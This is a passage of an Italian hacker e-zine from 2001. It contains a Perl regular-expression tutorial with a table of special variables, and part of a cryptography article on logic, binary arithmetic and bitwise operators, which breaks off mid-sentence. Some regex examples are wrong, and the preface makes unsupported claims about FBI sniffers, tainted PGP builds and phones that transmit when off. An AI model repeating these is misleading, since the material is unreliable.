0x20/0x23 | +-------------------------------------------------------------------------------+ | | | Guida pratica alle Regular Expressions - 29/07/2001 - by Domin3 from DarK | | KnightS | | | | | | Mail: drkdomin3@yahoo.it | | WWW: http://www.drkknights.net | | | | | | Regular Expressions (RegEx)... che sono, e a che servono? :-P | | Si tratta di "percorsi" da ricercare o sostituire all'interno di stringhe, | | e tornano molto utili sia nella programmazione (Perl, PHP, Javascript, | | ma anche sed e awk), sia in alcune applicazioni (VI in primis!!). | | Sono strutturate pressappoco così (variano in base al contesto, in | | questo TXT si farà più spesso riferimento al Perl): | | | | /pattern_da_cercare/ | | | | Il "percorso" da cercare, o pattern, viene racchiuso da due caratteri | | delimitatori (nel caso del Perl si utilizzano più spesso degli /, ma è | | possibile trovare anche apici o diesis). Il pattern potrà sia contenere | | caratteri alfanumerici (si parla di stringhe, no?), sia caratteri jolly per | | effettuare operazioni più elaborate... Ma, andando per gradi, un esempio: | | | | $stringa =~ /mbo/ | | | | Questa regex ricerca all'interno della stringa a cui è applicata la parola | | "mbo" e restituisce TRUE se la trova (=~ è l'operatore Perl addetto alle | | regex, volponi :-). | | | | $stringa =~ /pat+/ | | | | Quest'altra espressione restituirà TRUE nel caso verifichi la presenza di | | parole che contengono la sillaba "pa" seguita da una o più "t". Ad esempio | | nel caso $stringa contenga le parole "pattern", "patty", "patrol" e così | | via... | | | | In questo caso subito dopo la "t" ho utilizzato il +, che fa parte dei | | "meta-characters" (qui di seguito elencati)*** | | | | + il carattere deve essere presente almeno una volta | | * il carattere deve essere presente da 0 a infinite volte | | ? il carattere deve essere presente da 0 a 1 volta | | . vale per qualunque carattere fuorchè il newline (\n) | | \s combacia nel caso di spazi, tablature e newline | | \S combacia con tutto fuorchè gli spazi | | \w vale per lettere, numeri e underscore (_) | | \W l'opposto di \w | | \d vale per le singole cifre da 0 a 9 | | \D vale per tutto fuorchè le cifre | | | | Da tutti questi ci si rende conto delle possibilità delle regex! Ma ora un | | po' di esempi chiarificatori: | | | | /pat*/ | | | | Vale per "panchina", "patente", "patto". | | | | /tro?/ | | | | Vale per "treno", "traino", "troia", ma non per "tuoi". | | | | /ciao\s+\w+/ | | | | Vale per "ciao mondo", "ciao mamma" ma non per "ciaociao". | | | | E' possibile anche ricercare caratteri speciali quali $, @, /, purchè | | siano preceduti da uno \ | | Esempio: | | | | /\$\s+\d000/ | | | | Vale per "$ 1000". | | | | Si può anche definire personalmente quante volte un determinato carattere | | debba comparire nella stringa, specificando l'intervallo nelle {} | | | | /Rob{3,5}/ | | | | Vale per "Robbberto", "Robbbbberto" ma non per "Robi". | | | | Esistono inoltre altri due caratteri speciali detti "pattern anchors", ossia | | la ^ e $, indicanti, rispettivamente, che il pattern da cercare debba stare | | all'inizio o alla fine della stringa. | | Exempio: | | | | /^cia/ | | | | Vale per "ciao", "ciaccarella" ma non per "cucaraccia". | | (Ma che caspio di esempi vado facendo?? :-]) | | | | /one$/ | | | | Vale per "chiattone" ma non per "giapponese". | | | | Esistono inoltre i meta-caratteri \b, che può essere utile per delimitare | | un pattern sia all'inizio sia alla fine (vale quindi come ^ e $), e \B, | | opposto al precedente, che restituisce falso nel caso il pattern indicato | | sia agli estremi della stringa. | | | | /\bciao\B/ | | | | Vale per "ciao mamma" ma non per "ciao" o "ehi ciao mamma". | | | | Si può anche specificare quali caratteri ricercare in una stringa, | | indicando questi ultimi all'interno delle [] | | | | /[abc]/ | | | | Restituisce TRUE se la stringa è uguale a "a", "b" oppure "c". | | | | Oppure è possibile indicare intervalli di caratteri: | | | | /[a-zA-Z]/ | | | | Vale se la stringa contiene un carattere dell'alfabeto, sia maiuscolo che | | minuscolo. | | | | /[^0-9]/ | | | | Il simbolo ^, in questo caso, INVERTE il significato del contenuto delle [], | | per cui la regex restituirà TRUE se non troverà alcuna cifra. | | (Da non confondere con l'anchor ^ visto in precedenza!!) | | | | /([a-zA-Z][.0-9])+/ | | | | Le () servono per raggruppare espressioni racchiuse tra []. In questo | | caso la regex cerca lettere, cifre e ".". | | | | /uno|due|tre/ | | | | Il simbolo | serve ad eseguire ricerche multiple. Ad esempio, restituirà | | TRUE | | se la stringa equivarrà a "uno", "due" oppure "tre". | | | | Dopo una panoramica generale sulle regex, espongo un paio di funzioni utili | | in PERL: | | | | $stringa =~ s/pattern/rimpiazzo/ | | | | Con questa sintassi, si può effettuare una sostituzione nella stringa. | | | | "geppetto" =~ s/p/s/ | | | | "geppetto" diverrà "gespetto" :-) | | | | "geppetto" =~ s/p/s/g | | | | "geppetto" diverrà "gessetto". | | (la "g" indica di sostituire TUTTE le parti della che stringa che combaciano | | con il pattern). | | | | "gePPeTto" =~ s/p/s/i | | | | La "i" farà si che l'interprete effettui una ricerca case-insensitive, | | percui | | "gePPeTto" diverrà comunque "gesPetto" :-P | | | | Attraverso l'uso di variabili particolari, è possibile definire dei | | sotto-pattern da ricercare: | | | | "drkdomin3@yahoo.it" =~ /^(\w+)\@(\w+)\.(\w+)$/ | | | | Ogni parte contenuta nelle () andrà in una particolare variabile: | | $1 sarà uguale a "drkdomin3", $2 a "yahoo", $3 a "it" e così via... | | | | Inoltre è possibile usare le suddette variabili in caso di una sostituzione: | | | | "192.168.0.1" =~ s/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/$1\.$2\.150\.$4/ | | | | Otterremo 192.168.150.1 . A seconda del contesto (es. VIM), potremmo dover | | utilizzare, al posto delle variabili di tipo $n, delle variabili di tipo \n, | | quindi attenzione! | | | | Yeah, come infarinatura generale può bastare! Invito chi fosse interessato | | a dare uno sguardo a una delle tante guide di riferimento che si trovano in | | rete, per conoscere anche quegli operatori che non ho menzionato. | | | | Saluti e: Metal Up Your Ass!! | | | | | | *** per le regular expression (secondo lo standard POSIX, in questo caso | | differente da quello del Perl) è possibile utilizzare una sintassi | | particolare per | | indicare un determinato gruppo di caratteri... PASTo qui una tabella | | scopiazzata | | dagli Appunti Linux :-) | | | | Classe di caratteri Descrizione | | | | upper Collezione alfabetica delle lettere maiuscole. | | lower Collezione alfabetica delle lettere minuscole. | | alpha Lettere alfabetiche: di solito l'unione di upper e lower. | | digit Cifre numeriche. | | alnum Cifre alfanumeriche: di solito l'unione di alpha e digit. | | punct I caratteri di punteggiatura. | | space I caratteri definiti come «spazi bianchi» per qualche motivo. | | blank Di solito comprende solo <space> e <tab>. | | cntrl I caratteri di controllo che non possono essere rappresentati. | | | | graph Caratteri grafici: di solito l'unione di alnum e punct. | | print Caratteri stampabili: di solito l'insieme di alnum, punct e di | | <space>. | | xdigit Cifre numeriche e alfabetiche per rappresentare numeri | | esadecimali. | | | | La sintassi è | | | | [:classe_di_caratteri:] | | | | Ad esempio [:digit:] si riferirà ad ogni cifra. | | | | | | | | | | by Domin3 from DarK KnightS | | | | Mail: drkdomin3@yahoo.it | | WWW: http://www.drkknights.net | | | | | | | | APPENDICE: Le variabili speciali | | | | Ma cosa c'entra questa appendice? | | Semplice: avevo bisogno di scrivere da qualche parte queste cose :-P | | | | Ecco una lista delle variabili speciali del PERL: | | | | $_ La variabile standard contenente l'ultimo input o | | pattern di ricerca. | | | | $. Indica il numero di linea letto dall'ultimo filehandle aperto. | | | | $/ Contiene il separatore di riga (di default è \n). | | | | $" Il separatore che viene utilizzato nell'unire in una stringa | | gli elementi di un array (di default è uno spazio). | | | | $? Ritorna lo status dell'ultima chiamata di sistema. | | | | $] Il numero della versione dell'interprete. | | | | $! Contiene il messaggio o il numero dell'errore | | (a seconda del contesto). | | | | $@ Il messaggio di errore proveniente dall'ultimo eval o do. | | | | $0 Il nome del file contenente lo script PERL eseguito. | | (può essere assegnato dall'utente) | | | | $$ L'ID del programma che esegue lo script PERL. | | | | $< L'user ID reale del processo. | | | | $> L'user ID effettivo del processo. | | | | (per notare la differenza dal precedente, prova a creare uno script | | perl con l'utente root dandogli i permessi SUID e poi lancialo come | | utente normale...) | | | | $( Il group ID reale del processo. | | | | $) Il group ID effettivo del processo. | | | | | | Variabili dipendenti dal contesto: | | | | $% Il numero corrente di pagina (relativo a STDOUT) | | | | $= La lunghezza di pagina (default 60 linee) | | | | $- Il numero di linee rimanenti nella pagina. | | | | $~ Il nome del canale di output (STDOUT) | | | | $^ Il nome del corrente formato top-of-page. (STDOUT_TOP) | | | | $| Se settato diverso da zero, forza lo scorrimento di | | pagina per ogni riga stampata su STDOUT. | | Di default è 0. | | | | $ARGV Il nome del file corrente durante la lettura da <>. | | | | | | Le variabili relative al blocco corrente: | | | | $& Il risultato del combaciamento dell'ultimo pattern matching. | | | | $` La stringa che precede l'ultimo combaciamento. | | | | $' La stringa che segue l'ultimo combaciamento. | | | | $+ Il combaciamento della parentesi dell'ultimo pattern matching. | | | | $1..$9 Contengono i sotto-pattern risultanti dall'ultimo pattern matching. | | (Le variabili da $10 in poi vengono dichiarate soltanto se il | | combaciamento comprende altrettante sotto-pattern). | | | | | | E per ora è veramente tutto :-) | | | | BiezZ | | | | DrkDomin3 | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | 0NDAQUADRA ~ [L'APPRENDiSTA STREG0NE] #04 - 19/11/2001 | | C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 2 [Zer0] 0x21/0x23 | +-------------------------------------------------------------------------------+ | | | ============================================================================= | | Consumo: vedi prima parte | | Musica ascoltata: come sopra | | Ingredienti per 4 persone: idem | | Tempo di cottura: ma qualcuno mi spiega chi ha inventato la moda di scrivere | | stè boiate all'inizio di ogni articolo da e-zine che se non le metti sembra | | che sei fuori dal mondo? Basta, ho deciso, io non le metto più! | | ============================================================================= | | | | Rieccoci qua. E' un'ora qualsiasi di un lunedì di ottobre qualsiasi e non | | trovo | | niente di meglio da fare che mettermi qua davanti al monitor a continuare | | stò | | cazz' di articolo. Da settembre non ci ho messo + mano per un sacco di | | motivi ma | | soprattutto perchè, dopo che avevo fatto quella tirata per consegnare in | | tempo | | la prima parte, il Courier New a 10 punti mi faceva vomitare solo a | | guardarlo da | | lontano. Ho provato a cambiare font e colori ma variava solo la consistenza | | e | | l'aspetto del vomito, quindi per un certo periodo ho deciso di | | disintossicarmi | | dandomi all'alcool e alla roulette Napoletana (che è tipo quella Russa, ma | | capisce un po' meglio l'italiano - ho detto UN PO' - e i proiettili sono | | finti...), il fatto poi che questa "botta de vita" stava avendo un effetto | | sconvolgente sulla mia psiche (una sera in un momento di lucidità mi sono | | "sorpreso" a guardare per BEN 6 secondi il Grande Fratello...) ha cominciato | | a | | farmi preoccupare, motivo per cui ho deciso di lasciare i bagordi e di | | ritornare | | a incaponirmi sulla Crypto. Che poi, avendo ora a disposizione poco + di un | | mese | | per scrivere la seconda parte, faccio come il cane che si mosca la coda: | | sarò | | costretto a un'altra tirata paurosa seguita da sconvolgente periodo di | | disintossicazione, specialmente adesso (ma te guarda che culo, tantobene | | quando | | uno deve scrivere un articolo!) che OQ diventa bimestrale :P , credo che mi | | ridurrò a guardare foto porno di Daria Bignardi o a coltivare bonsai di | | plastica, | | ma OVVIAMENTE questa è un'altra storia... | | | | Scherzi a parte volevo scusarmi se questa parte dell'articolo non sarà | | consistente come la prima, credo che dovrò fare una o due "puntate" in più. | | D'altronde quando ho pianificato il lavoro ho calcolato tre mesi tra | | un'uscita e | | l'altra, ma che credete... non sono mica uno che non fa una mazza da mattina | | a | | sera! :PPP | | | | A proposito: ho trovato una mole paurosa di roba sul Diffie-Hellmann e | | logaritmi | | discreti in generale e questa è una cosa strana poichè se ci avete fatto | | caso, | | mentre sull'RSA alla fin fine le info si trovano, il DH in vita mia non ho | | mai | | trovato nessuno che ne sapesse qualcosa. E il brutto è che - fino a che | | parliamo | | di DH in senso stretto - il tutto a occhio e croce SEMBREREBBE essere molto | | meno | | complicato di quanto poteva apparire, ma dall'occhiata che ho dato al | | capitolo | | delle Curve Ellittiche mi sa che c'è il rischio concreto di dover fare | | un'"aggiuntina" al capitolo 2 per parlare di Gruppi, Anelli e roba di questo | | tipo. Spero VIVAMENTE che non ce ne sia bisogno. E spero ancor + vivamente | | che | | sia roba alla mia portata, il che non è affatto detto... | | | | | | <WARNING!> | | Lo avevo già detto la volta scorsa, ma lo ripeto. Nelle equazioni | | matematiche e | | nei grafici sono costretto a fare uso massiccio di grafica ASCII, ma i | | caratteri | | possono non essere visualizzati correttamente se non avete le impostazioni | | che | | uso io. E allora: io NON SCRIVO SOTTO DOS, quindi il charset è puro ASCII e | | non | | ANSI, inoltre il font che uso è il Courier New a 10 punti. E' comunque | | indispensabile che usiate un font che usa larghezza standard per tutti i | | caratteri, quindi Arial, Helvetica e Times new Roman NON VANNO BENE, mentre | | Courier, Courier New e Fixedsys sì. | | </WARNING!> | | | | | | <Errata Corrige della Prima Parte> | | Ebbene sì, anch'io ogni tanto sbaglio... :PPP | | | | Capitolo 1 | | ---------- | | Nell'esempio di cifrario che segue quello di Cesare la tabella è sballata. | | Molti | | di voi la vedranno così: | | | | Testo in chiaro: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Testo cifrato: Q W E R T Y U I O P A S D F G H J K L Z X C V B N M | | | | La cosa dipende dal fatto che dopo "testo cifrato" mi ci è finito un TAB | | invece | | di uno spazio, quindi a seconda della tabulazione orizzontale che usate la | | riga | | sarà più o meno shiftata. Quella giusta naturalmente è: | | | | Testo in chiaro: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Testo cifrato: Q W E R T Y U I O P A S D F G H J K L Z X C V B N M | | | | E poi ancora sotto: bisogna fare attenzione al calcolo degli anagrammi | | dell'alfabeto. Io ho riportato il 26! come 403291461126605635584000000, ma | | il | | calcolo l'ho eseguito con la calcolatrice di winPiscio, la quale usa la | | virgola | | mobile, quindi il risultato potrebbe non essere preciso all'unità... | | tenetene | | conto in caso vogliate fare calcoli di statistica dettagliati. | | | | Capitolo 2, Sezione "SISTEMI DI EQUAZIONI" | | ------------------------------------------ | | Sul giochino dei simboli (me ne sono accorto dopo...) si poteva risolvere il | | tutto | | molto più in fretta semplificando direttamente la relazione 2: | | | | £ + £ - ¥ - ¥ = € + € | | | | in cui si potevano in pratica dividere entrambi i membri per 2, così: | | | | £ - ¥ = € | | | | con tutto ciò che ne consegue. | | | | Capitolo 2, Sezione "VETTORI E MATRICI", Paragrafo "Matrici" | | ------------------------------------------------------------ | | La matrice non si indica tra parentesi tonde (), bensì generalmente quadre | | [], | | l'errore deriva dal fatto che alcuni testi la riportano tra tonde, ma | | potrebbero | | anche non indicare una matrice vera e propria. La Matrice in senso stretto | | comunque non si indica così: | | _ _ | | / \ | | | a b | | | | | | | | c d | | | \_ _/ | | | | bensì così: | | _ _ | | | | | | | a b | | | | | | | | c d | | | |_ _| | | | | E poi sotto: naturalmente non è DETRMINANTE ma DETERMINANTE. | | Seguono inoltre altri piccoli errori e imprecisioni derivati dalla "non | | ortodossia" | | delle definizioni date che preferirei non approfondire per non gettare un | | mucchio | | di confusione su cose che mi sembra di essere riuscito a spiegare, seppur a | | grandi | | linee, anche TROPPO chiaramente... | | | | </Errata Corrige della Prima Parte> | | | | | | Un'ultima cosa: voglio evitare accuratamente di divagare sugli avvenimenti | | che | | hanno sconvolto il mondo a partire dall'11 settembre. Non è lo scopo di | | questo | | articolo. Non è un argomento di cui mi vada di parlare, non ora e non qui. E | | non | | c'è tempo. Se la situazione continuerà ad evolversi in questo verso, questo | | articolo e le informazioni che contiene potrebbero diventare merce preziosa. | | Sapete | | cos'è il Carnivores? Di preciso-preciso non lo so nemmeno io poichè è | | protetto da | | un muro di gomma degno di quello di Roswell, ma in pratica dovrebbe | | trattarsi di | | una specie di sniffer potentissimo di proprietà dei federali, se installato | | su un | | anonymous remailer o su un nymserver (se non sapete che sono no worry, ne | | parleremo | | + avanti) ne compromette totalmente la sicurezza permettendo all'FBI di | | accedere al | | contenuto dei messaggi crittati. Già a partire dalla notte dopo l'attentato, | | l'FBI | | ha cominciato a contattare i gestori dei più grandi remailers chiedendogli | | di | | installare il Carnivores sui loro sistemi. E il brutto è che molti hanno | | accettato | | per non avere grane. Non voglio neanche disquisire sulla legittimità o meno | | di | | questa manovra, ma vi dico: IN CAMPANA GENTE! Non è finita: da qualche | | settimana | | stanno STRANAMENTE fioccando nuove versioni e distribuzioni "free" del PGP | | (ovviamente senza source code), e (almeno dalle mie parti) capita sempre più | | frequentemente di sentire, quando si parla al telefono, fruscii, disturbi e | | "click" | | vari, se avvicinate un cellulare alle casse del pc vi accorgerete che a | | volte | | emette segnali anche quando il telefono è spento, io non sono un esperto del | | sistema GSM ma la cosa non mi pare esattamente "normale"... | | Si chiama PARANOIA gente, e secondo me al giorno d'oggi è una dote preziosa. | | Indipendentemente da come la pensate voi potrebbe essere giunto il momento, | | se | | non è troppo tardi, di togliere la batteria al cell e di cominciare a | | scriversi | | per sè i propri software di crittografia. Ricordatevi il Cogito Ergo Sum, | | siate | | voi stessi i vostri unici punti di riferimento. Non fidatevi di nessuno. Non | | siamo braccati per le nostre azioni, ma per le nostre IDEE. Non | | permettiamogli | | di vincere! | | | | | | | | +-----------------------------------------------------------------+ | | |LOGICA E ALGEBRA DI BOOLE | | | | . . . . . *----------------------------------------------------+ | | |Capitolo 3 / essere OR NOT essere... AND il dilemma NOT si pone! | | +-----------* | | | | Perchè la logica? | | Non sempre è facile definire ciò che è "logico". Che senso avrebbe dunque | | cercare | | di dare una definizione alla "logica"? Ma proviamoci lo stesso. | | | | La logica è una "scienza"? No. Perchè una scienza presuppone che ci sia uno | | scienziato. E questo implica che lo scienziato sia costantemente impegnato | | nella | | ricerca e nella scoperta di aspetti nuovi relativi a quella scienza. Nella | | logica | | ciò non accade. Non c'è più nulla da scoprire sulla logica, anzi, a voler | | essere | | precisi NESSUNO HA MAI SCOPERTO NULLA sulla logica. Non la studierete nelle | | scuole, | | non troverete lauree di "perito logico" e nemmeno saggi o libri di logica | | (almeno | | in senso stretto). | | La logica è forse un'"arte"? Escluso. Un'arte implica creatività, sarebbe | | l'ANTITESI della logica! | | Allora magari è una "disciplina"? Mmm... beh no, non proprio. E' vero che | | una | | disciplina è un qualcosa che ha un'applicazione, e allora la definizione | | potrebbe | | adattarsi, ma una disciplina ha applicazioni AUTONOME, cioè può essere | | "esercitata" in qualche modo. La logica no. | | | | Nel passato diversi studiosi e filosofi si sono cimentati nella | | "classificazione | | del sapere", nel dividere e delimitare cioè, ogni scienza da un'altra e dai | | reciproci campi di indagine. In nessuna di questa classificazioni appariva | | la | | logica (e neppure la matematica, che si sviluppa da essa) come scienza a sè | | stante, poichè serviva da base a tutte le scienze. Il punto è proprio | | questo: | | | | LA LOGICA E' UNO STRUMENTO | | | | O, per meglio dire, è LO strumento, è ciò che sta alla base di tutto, | | scienze, | | ragionamenti e percezioni della realtà. La logica è quello che rende | | scontato che | | 1 + 1 fa 2, che il Vero è l'opposto del Falso, essa non si basa su formule o | | esperimenti, ma su Assiomi indimostrabili perchè scontati. Essa è innata in | | noi, | | non ce la insegna nessuno, non è scritta nel nostro DNA ma qualsiasi essere | | vivente ne è provvisto. Secondo molti sta in questo la prova dell'esistenza | | dell'anima: quello che Platone avrebbe chiamato Reminiscenza (l'apprendere | | il | | sapere significa impossessarsi di una verità che era già dentro di noi) non | | sarebbe fisicamente possibile senza ipotizzare l'esistenza di una forma di | | volontà | | superiore ed autonoma dal mondo "reale". Se pensate a qualcosa di infinito | | non vi | | chiedete come mai riuscite a farlo pur senza aver mai fisicamente visto | | qualcosa | | di infinito nella vostra vita? E se fin da piccoli vi avessero insegnato che | | 2 + 2 | | fa 5, credete che sareste diventati adulti credendolo ciecamente? Non vi | | sarebbero | | sorti ben presto dei dubbi e non sareste arrivati autonomamente alla verità? | | | | Platone, da quanto ne sappiamo, è il primo che si occupò della logica, | | perchè capì | | che è l'unico strumento su cui possiamo contare per formulare anche i | | ragionamenti | | più elementari. Esso la applicò sotto forma di Sillogismi, cioè appunto | | ragionamenti elementari che compongono ogni ragionamento più complesso e che | | non | | possono essere contraddetti. Chi nega la validità di un sillogismo è un | | sofista, e | | in pratica nega ciò che è scontato. Un sillogismo assume la forma di due | | ipotesi | | seguite da una tesi: | | | | SE (Ipotesi 1) E INOLTRE (Ipotesi 2), ALLORA: (Tesi) | | | | Notate la somiglianza coi moderni linguaggi di programmazione: Platone stava | | gettando le basi dell'Informatica! La prima ipotesi lega in relazione un | | elemento | | A con un elemento B, la seconda lega un elemento B con un elemento C, lo | | scopo del | | sillogismo è di legare nella tesi gli elementi A e C IN MANIERA CORRETTA. | | Tali | | relazioni vengono composte usando il cosiddetto "Quadrato delle | | Opposizioni": | | | | | | | UNIVERSALE | PARTICOLARE | | AFFERMATIVO | AFFERMATIVO | | | | | -------------+-------------- | | | | | UNIVERSALE | PARTICOLARE | | NEGATIVO | NEGATIVO | | | | | | | Esempi: | | U.A. : "Tutti gli A sono B" | | U.N. : "Nessun A è B" | | P.A. : "Alcuni A sono B" | | P.N. : "Certi A non sono B" | | | | In questo modo si possono avere 4^3 combinazioni, cioè 64, ma attenzione: | | non | | tutti i sillogismi sono formalmente corretti, esempio: | | | | Tutti gli A sono B | | Tutti gli B sono C | | Alcuni A non sono C | | | | Che è incorretto! E' proprio la logica che ci fa riconoscere i sillogismi | | corretti da quelli incorretti. Occhio che "corretto" non significa mica per | | forza "vero"! | | | | Io amo ciò che è bello | | Tutti i presidenti USA sono belli | | Io amo i presidenti USA | | | | Formalmente è corretto, ma... beh, diciamo che parte da ipotesi sbagliate! | | | | | | ======================== | | *** ALGEBRA BOOLEANA *** | | ======================== | | Boole, George (1815-64): matematico e logico irlandese. Fu il fondatore | | dell'algebra della logica. (tratto dalla solita enciclopedia ******** | | kazzuta :D seguono altre cose che non ci interessano) | | | | L'algebra booleana è quella parte della matematica che si occupa dei | | cosiddetti | | elementi "idempotenti", cioè quegli elementi X tali che X^n = X (con n > 0), | | anche se a dire il vero è un po' improprio chiamarla "matematica". In | | pratica | | l'algebra di Boole permette di applicare le normali regole matematiche alla | | logica e di rappresentare algebricamente tutta la sillogistica platonica. | | | | <lettore> maròòò... che paroloni! | | | | Normalmente nella vita noi lavoriamo in base 10, cioè significa che | | rappresentiamo numeri e misure tramite sequenze composte solo da 10 simboli | | (le | | 10 cifre), questo deriva sicuramente dal fatto che nella preistoria l'uomo | | usava | | le dieci dita delle mani (quelle più coordinate, perchè provviste di più | | connessioni nervose) per aiutarsi coi calcoli. Come certamente saprete | | (PERCHE' | | DOVETE SAPERLO...), i calcolatori elettronici e i moderni sistemi di | | comunicazione lavorano invece a base 2, cioè utilizzano sequenze composte | | solo | | da due simboli: 0 e 1. Anche se può sembrare strano, questo non influisce | | praticamente in nessun modo nello svolgimento delle operazioni, ma ci | | permette | | di affiancare alle normali operazioni matematiche degli OPERATORI LOGICI che | | possono essere utili in svariate situazioni. | | Sia il sistema decimale che quello binario sono sistemi di numerazione | | POSIZIONALI, cioè il valore di un simbolo cambia a seconda della sua | | posizione | | all'interno della sequenza di simboli. Infatti nei numeri: | | | | 29004 | | 400 | | 3340 | | | | la cifra 4 non ha lo stesso valore, poichè è situata (a partire da destra) | | in | | posizioni differenti. Se ci fate caso infatti, tale cifra fa da coefficiente | | (moltiplicatore) alla potenza con base 10 (ecco perchè "BASE" 10) ed | | esponente | | pari alla posizione della cifra a partire da destra (cominciando con 0). In | | pratica: | | | | 3605 = 3 * 10^3 + 6 * 10^2 + 0 * 10^1 + 5 * 10^0 | | | | Nel sistema binario è ESATTAMENTE la stessa cosa, ma la base stavolta è 2: | | | | 10011 = 1 * 2^4 + 0 * 2^3 + 0 * 2^2 + 1 * 2^1 + 1 * 2^0 = | | = 2^4 + 2^1 + 2^0 = 16 + 2 + 1 = 19 | | | | Nel sistema decimale, se avete una sequenza di n simboli, potete codificare | | 10^n | | valori diversi, ma il valore massimo che potete rappresentare è solo 10^n - | | 1, | | poichè ricordate che si parte sempre da 0 compreso: con tre simboli potete | | rappresentare 10^3, cioè 1000 valori, ma arrivate al massimo a 999! Nel | | sistema | | binario è ESATTAMENTE la stessa cosa. Visto che sono due sistemi diversi per | | rappresentare lo stesso tipo di dati (numerico), è giustificato pensare che | | debba | | esistere un sistema per convertire numeri da una base all'altra. | | | | | | [Conversione in binario dei decimali] | | Ecco l'algoritmo che permette di passare da decimale a binario (per il | | viceversa l'abbiamo già visto, basta sommare le potenze di 2). | | Innanzitutto scrivete il numero a sinistra di una riga verticale, ad esempio | | 54609: | | | | 54609 | | | | | | | | | | | | | | dividetelo per 2 e mettete il risultato intero non arrotondato sotto di lui, | | e il resto della divisione a lato: | | | | 54609 | | | 27304 | 1 | | | | | | | | | | continuate così finchè il numero non rimane 0: | | | | 54609 | | | 27304 | 1 | | 13652 | 0 | | 6826 | 0 | | 3413 | 0 | | 1706 | 1 | | 853 | 0 | | 426 | 1 | | 213 | 0 | | 106 | 1 | | 53 | 0 | | 26 | 1 | | 13 | 0 | | 6 | 1 | | 3 | 0 | | 1 | 1 | | 0 | 1 | | | | I resti ottenuti sono le cifre del vostro numero in binario, vanno lette dal | | basso verso l'alto: | | | | 54609 = 1101010101010001 | | | | Vediamo come fare un'addizione coi binari. Stesso procedimento che in | | decimale, ma attenzione: potete rappresentare le cifre solo con 0 o 1, | | quindi | | coi decimali farete il riporto ogni volta che superate 9, mentre qui lo fate | | ogni volta che superate 1! | | | | 1111 --> riporti <-- 1 | | 100110 + 100110 = 38 + | | 11100 = 11100 = 28 = | | --------- ------ | | 1000010 1000010 = 66 | | | | Si capisce che è ESATTAMENTE la stessa cosa per tutte le altre operazioni. | | Da | | sapere inoltre che i bit più a destra (quelli che valgono di meno perchè | | moltiplicano potenze di 2 più basse) sono chiamati in gergo bit LOW-END, | | mentre quelli più a sinistra sono detti HIGH-END. | | | | | | [Operatori Logici] | | Gli operatori logici si applicano ai simboli binari: | | | | - NOT | | L'operatore Not "inverte" una cifra, cioè fa diventare 0 l'1 e viceversa: | | Not 1 = 0 | | Not 0 = 1 | | Se applicato ad una sequenza di cifre, le inverte tutte una per una: | | Not 111001101 = 000110010 = 110010 (gli zeri a sinistra non contano) | | | | - AND | | Questo si effettua tra due valori, il risultato sarà 1 solo se entrambi i | | valori sono 1. In pratica dà 1 se il primo E (And) il secondo sono 1: | | 0 And 0 = 0 | | 0 And 1 = 0 | | 1 And 0 = 0 | | 1 And 1 = 1 | | Se applicato tra due sequenze di valori, si esegue cifra a cifra | | (eventualmente | | aggiungendo zeri a sinistra della sequenza più corta, in modo da averle di | | lunghezza uguale): | | 11011001 And 11010 = 11011001 And 00011010 | | ------------ | | 11011001 And | | 00011010 = | | ------------ | | 00011000 = 11000 | | | | - OR | | Come il primo si effettua tra due valori: il risultato è sempre 1 tranne nel | | caso che i due valori di ingresso siano entrambi 0. In pratica dà 1 se il | | primo | | O (Or) il secondo sono 1: | | 0 Or 0 = 0 | | 0 Or 1 = 1 | | 1 Or 0 = 1 | | 1 Or 1 = 1 | | Se applicato tra due sequenze di valori, si esegue cifra a cifra | | (eventualmente | | aggiungendo zeri a sinistra della sequenza più corta, in modo da averle di | | lunghezza uguale): | | 11011001 Or 11010 = 11011001 Or 00011010 | | ------------ | | 11011001 Or | | 00011010 = | | ------------ | | 11011011 | | | | - NAND | | Il Nand è l'opposto dell'And, cioè è uguale all'And ma NEGATO. In pratica è | | un And + Not: | | 0 Nand 0 = 1 | | 0 Nand 1 = 1 | | 1 Nand 0 = 1 | | 1 Nand 1 = 0 | | | | - NOR | | Il Nor è l'opposto dell'Or, cioè è uguale all'Or ma NEGATO. In pratica è un | | Or + Not: | | 0 Nor 0 = 1 | | 0 Nor 1 = 0 | | 1 Nor 0 = 0 | | 1 Nor 1 = 0 | | | | - XOR | | Anche detto Or-esclusivo (eXclusive-OR). E' come l'Or ma dà 0 anche se i | | valori | | sono entrambi 1: | | 0 Xor 0 = 0 | | 0 Xor 1 = 1 | | 1 Xor 0 = 1 | | 1 Xor 1 = 0 | | E' un po' la rappresentazione logica della "regola dei segni" in matematica: | | segni uguali danno +, mentre segni opposti danno -. Se applicato tra due | | sequenze di valori, si esegue cifra a cifra (eventualmente aggiungendo zeri | | a | | sinistra della sequenza più corta, in modo da averle di lunghezza uguale): | | 11011001 Xor 11010 = 11011001 Xor 00011010 | | ------------ | | 11011001 Xor | | 00011010 = | | ------------ | | 11000011 | | Da notare che QUALCOSA Xor LASTESSACOSA fa sempre 0. Questo è anche il | | metodo | | più veloce per azzerare contatori e registri nell'Assembler. | | | | Dal punto di vista crittografico il più importante è sicuramente lo Xor, per | | due motivi: innanzitutto è INVERTIBILE, cioè si può, conoscendo uno dei due | | valori e il risultato Xorato, risalire all'altro valore, cosa che invece non | | è | | fattibile con And e Or. Ma anche il Not è invertibile, e qui entra in gioco | | il | | secondo motivo: il Not utilizza UN SOLO VALORE, mentre lo Xor è | | un'operazione | | tra DUE valori, quindi potremmo pensare di usarne uno come chiave per | | crittare | | il secondo (che è il plaintext). | | | | Questi altri due invece si usano SOLO su una sequenza di bit per volta, | | quindi | | non funziano come operazione tra due parametri e neanche su singoli bit, | | bensì | | su "pacchetti": | | - ROTATE | | In pratica fa "scorrere" di n posizioni a destra o a sinistra i bit di una | | sequenza, con la particolarità che quelli che "escono fuori" dalla stringa | | rientrano dalla parte opposta. In gergo si abbrevia con ROR (ROtate Right) | | oppure | | ROL (ROtate Left), a seconda che lo spostamento avvenga verso destra o verso | | sinistra, tipicamente con la forma: | | | | ROL/R sequenza, spostamento | | | | esempio: | | | | ROL 11001010, 3 = 01010110 | | ROR 01110110, 6 = 11011001 | | | | | | - SHIFT | | Come il precedente, ma stavolta i bit che "escono fuori" sono persi, e al | | loro | | posto dalla parte opposta entrano degli zeri. Si 